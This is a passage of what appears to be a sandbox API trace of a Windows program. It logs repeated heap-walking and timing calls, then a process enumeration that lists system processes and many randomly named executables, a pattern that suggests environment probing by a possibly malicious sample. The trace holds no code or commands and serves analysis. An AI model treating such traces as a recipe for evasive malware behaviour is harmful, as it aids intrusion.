hHeap=0x2a0000) returned 1 [0114.876] Heap32Next (lphe=0x18f6ac) returned 1 [0114.881] GetTickCount () returned 0x114f7a8 [0114.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.881] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.881] Heap32Next (lphe=0x18f6ac) returned 1 [0114.886] GetTickCount () returned 0x114f7a8 [0114.886] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.886] Heap32Next (lphe=0x18f6ac) returned 1 [0114.892] GetTickCount () returned 0x114f7b8 [0114.892] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.892] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.892] Heap32Next (lphe=0x18f6ac) returned 1 [0114.898] GetTickCount () returned 0x114f7b8 [0114.898] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.898] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.898] Heap32Next (lphe=0x18f6ac) returned 1 [0114.902] GetTickCount () returned 0x114f7b8 [0114.902] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.902] Heap32Next (lphe=0x18f6ac) returned 1 [0114.907] GetTickCount () returned 0x114f7b8 [0114.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.907] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.907] Heap32Next (lphe=0x18f6ac) returned 1 [0114.926] GetTickCount () returned 0x114f7d7 [0114.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.926] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.926] Heap32Next (lphe=0x18f6ac) returned 1 [0114.931] GetTickCount () returned 0x114f7d7 [0114.931] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.931] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.931] Heap32Next (lphe=0x18f6ac) returned 1 [0114.937] GetTickCount () returned 0x114f7d7 [0114.937] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.937] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.937] Heap32Next (lphe=0x18f6ac) returned 1 [0114.942] GetTickCount () returned 0x114f7e6 [0114.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.942] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.942] Heap32Next (lphe=0x18f6ac) returned 1 [0114.947] GetTickCount () returned 0x114f7e6 [0114.947] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.947] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.947] Heap32Next (lphe=0x18f6ac) returned 1 [0114.953] GetTickCount () returned 0x114f7e6 [0114.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.953] Heap32Next (lphe=0x18f6ac) returned 1 [0114.960] GetTickCount () returned 0x114f7f6 [0114.960] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.960] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.960] Heap32Next (lphe=0x18f6ac) returned 1 [0114.966] GetTickCount () returned 0x114f7f6 [0114.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.966] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.966] Heap32Next (lphe=0x18f6ac) returned 1 [0114.972] GetTickCount () returned 0x114f806 [0114.972] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.972] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.972] Heap32Next (lphe=0x18f6ac) returned 1 [0114.977] GetTickCount () returned 0x114f806 [0114.977] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.977] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.977] Heap32Next (lphe=0x18f6ac) returned 1 [0114.983] GetTickCount () returned 0x114f806 [0114.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.983] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.983] Heap32Next (lphe=0x18f6ac) returned 1 [0114.988] GetTickCount () returned 0x114f815 [0114.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.988] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.988] Heap32Next (lphe=0x18f6ac) returned 1 [0114.993] GetTickCount () returned 0x114f815 [0114.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.993] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.993] Heap32Next (lphe=0x18f6ac) returned 1 [0114.999] GetTickCount () returned 0x114f815 [0114.999] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0114.999] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0114.999] Heap32Next (lphe=0x18f6ac) returned 1 [0115.010] GetTickCount () returned 0x114f825 [0115.010] Heap32ListNext (hSnapshot=0x284, lphl=0x18f6ec) returned 1 [0115.010] GetTickCount () returned 0x114f825 [0115.010] GetTickCount () returned 0x114f825 [0115.010] Process32First (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.012] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.012] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.012] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.013] GetTickCount () returned 0x114f825 [0115.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.013] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.014] GetTickCount () returned 0x114f825 [0115.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.014] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.014] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.015] GetTickCount () returned 0x114f825 [0115.015] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.016] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.017] GetTickCount () returned 0x114f834 [0115.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.017] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.018] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.019] GetTickCount () returned 0x114f834 [0115.019] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.019] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.019] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.020] GetTickCount () returned 0x114f834 [0115.020] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.020] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.020] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.021] GetTickCount () returned 0x114f834 [0115.021] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.022] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.023] GetTickCount () returned 0x114f834 [0115.023] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.023] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.023] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0115.024] GetTickCount () returned 0x114f834 [0115.024] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.024] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.026] GetTickCount () returned 0x114f834 [0115.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.026] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.026] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.027] GetTickCount () returned 0x114f834 [0115.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.027] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.028] GetTickCount () returned 0x114f834 [0115.028] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.028] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.030] GetTickCount () returned 0x114f834 [0115.030] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.030] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.030] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.031] GetTickCount () returned 0x114f834 [0115.031] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.031] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.031] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.033] GetTickCount () returned 0x114f844 [0115.033] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.033] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.033] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.034] GetTickCount () returned 0x114f844 [0115.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.034] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.034] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.035] GetTickCount () returned 0x114f844 [0115.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.035] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.035] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.037] GetTickCount () returned 0x114f844 [0115.037] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.037] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.037] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.038] GetTickCount () returned 0x114f844 [0115.038] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.038] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.038] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.039] GetTickCount () returned 0x114f844 [0115.039] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.039] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.039] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.040] GetTickCount () returned 0x114f844 [0115.040] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.040] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.040] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.042] GetTickCount () returned 0x114f844 [0115.042] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.042] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.042] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.043] GetTickCount () returned 0x114f844 [0115.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.043] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.043] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist-nick.exe")) returned 1 [0115.044] GetTickCount () returned 0x114f844 [0115.044] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.044] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.044] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="palepromotion.exe")) returned 1 [0115.046] GetTickCount () returned 0x114f844 [0115.046] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.046] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.046] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="incidents_requests_moreover.exe")) returned 1 [0115.047] GetTickCount () returned 0x114f844 [0115.047] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.047] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.047] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="undertaken.exe")) returned 1 [0115.067] GetTickCount () returned 0x114f863 [0115.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.069] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dressed.exe")) returned 1 [0115.075] GetTickCount () returned 0x114f863 [0115.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.075] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.075] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cr_tier.exe")) returned 1 [0115.076] GetTickCount () returned 0x114f863 [0115.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.076] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="oops terry.exe")) returned 1 [0115.078] GetTickCount () returned 0x114f863 [0115.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.078] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sum-poem-stanley.exe")) returned 1 [0115.079] GetTickCount () returned 0x114f873 [0115.079] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.079] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="apparel mercedes.exe")) returned 1 [0115.080] GetTickCount () returned 0x114f873 [0115.080] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.080] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="want-robinson.exe")) returned 1 [0115.081] GetTickCount () returned 0x114f873 [0115.081] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.081] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nissan_extension.exe")) returned 1 [0115.083] GetTickCount () returned 0x114f873 [0115.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.083] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.083] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, 